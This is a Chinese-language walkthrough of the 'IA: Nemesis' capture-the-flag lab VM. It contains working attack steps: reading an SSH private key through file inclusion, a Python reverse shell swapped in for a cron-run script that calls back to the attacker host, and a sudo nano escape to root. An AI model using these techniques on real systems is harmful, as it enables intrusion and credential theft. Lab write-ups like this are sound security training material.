IA: NEMESIS (1.0.1)
一、基本信息
名称:IA: Nemesis (1.0.1)
发布日期:2020.10.25
作者:InfoSec Articles
系列:IA
推特: @infosecarticles
二、靶机简介
Flags:
thanos:/
/flag1.txt/flag2.txt
carlos:/
root:/root/root.txt难度:困难
三、文件信息
文件名:Nemesis-v1.0.1.ova
文件大小:537MB
下载地址:
MD5: 1E1B81A4B2AF9A2BAC30ED2B26B779BB
SHA1: 182F226EBD925575F50F24D04C515DF79424775E
四、镜像信息
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
五、网络信息
DHCP服务:可用
IP地址:自动分配
六、环境配置
1.将靶机Nemesis和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
七、攻略步骤
信息探测
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现开放了80,52845和52846端口,访问主页,在sign up页的validate函数可以发现登录的用户和密码,登录之后没有可用信息:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.131 | tee nmapscan,端口扫描3.最后再进行一下目录扫描,发现robots.txt文件,提示我们去寻找可用的攻击点:
1 gobuster dir -u http://192.168.56.131 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
文件包含漏洞利用
1.我们接着访问52845端口,网页源码没有过多发现:
2.在Contact Us页发现在Message框内输入任何信息都会收到写入文件的提示,测试后发现确实存在文件包含漏洞:
3.发现靶机存在thanos用户,可以尝试获取其ssh密钥:
1 /home/thanos/.ssh/id_rsa4.将thanos用户ssh私钥获取到kali后,ssh登录thanos用户:
1
2 chmod 400 id
ssh thanos@192.168.56.131 -p 52846 -i id5.登录后可在用户目录下发现第一个flag,即flag1.txt:
1
2 ls -al
cat flag1.txt
初步提权
1.我们可以在thanos用户目录下发现属于carlos用户的backup.py:
1 cat backup.py2.通过利用pspy64s工具,可以发现backup.py是被定时调用的:
1
2
3
4
5 python3 -m http.server 8001,kali开启http服务
wget http://192.168.56.102:8001/pspy64s,thanos获取pspy64s工具
chmod +x pspy64s
./pspy64s3.那我们只需要把原backup.py重命名(因为我们没有修改其内容的权限),重新写入一个backup.py,内容为反弹shell就可以:
1
2
3
4
5
6
7
8
9
10
11
12
13
14 mv backup.py backup_original.py
vi backup.py
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.102",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
nc -lvnp 9002,kali开启对应端口监听4.可以在carlos用户目录下发现第二个flag,即flag2.txt:
1
2 ls -al
cat flag2.txt
root提权
1.同时在carlos用户目录下还能发现root.txt,查看后是让我们去分析encrypt.py文件:
1 cat root.txt2.查看encrypt.py文件后,联系root.txt,通过位置对应我们能知道FUN的密文是QZA,则可写出解密程序:
1 cat encrypt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29 # 先确定key为key[89, 65]
import sys
def affine_encrypt(text, key):
return ''.join([ chr((( key[0]*(ord(t) - ord('A')) + key[1] ) % 26) + ord('A')) for t in text.upper().replace(' ', '') ])
if __name__ == '__main__':
affine_text="FUN"
for key0 in range(65, 91):
for key1 in range(65, 91):
encrypt_text = affine_encrypt(affine_text, [key0, key1])
if encrypt_text == "QZA":
print(key0,key1)
sys.exit(0)
# 解密程序,得到password为ENCRYPTIONISFUNPASSWORD
def affine_decrypt(cipher):
text = []
for t in cipher:
b = ord(t) - ord('A')
for x in range(0, 26):
result = (65 + x*89 - b) % 26
if result == 0:
text.append(chr(x + ord('A')))
break
print(''.join(text))
if __name__ == '__main__':
affine_encrypted_text = "FAJSRWOXLAXDQZAWNDDVLSU"
affine_decrypt(affine_encrypted_text)3.再进行文件权限查看,发现可以使用nano进行提权:
1 sudo -l4.在gtfobins上查询nano提权方式,成功提权到root:
1
2
3
4 su carlos,在thanos用户下登录到carlos,password是ENCRYPTIONISFUNPASSWORD
sudo -u root /bin/nano /opt/priv
ctrl+r,ctrl+x
reset; sh 1>&0 2>&05.在/root目录下可以发现第三个flag,即root.txt:
1
2
3 cd /root
ls -al
cat root.txt